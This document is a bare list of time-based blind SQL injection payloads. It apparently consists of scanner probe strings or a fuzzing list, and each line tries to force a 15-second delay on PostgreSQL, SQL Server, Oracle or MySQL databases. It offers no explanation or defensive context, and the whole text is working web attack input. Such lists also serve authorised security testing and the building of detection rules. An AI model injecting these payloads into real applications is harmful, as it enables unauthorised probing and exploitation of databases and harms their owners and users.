555-1)) OR 923=(SELECT 923 FROM PG_SLEEP(15))--

555-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--

555-1 waitfor delay '0:0:15' --

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555PSXg513G') OR 318=(SELECT 318 FROM PG_SLEEP(15))--

555-1)) OR 811=(SELECT 811 FROM PG_SLEEP(15))--

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z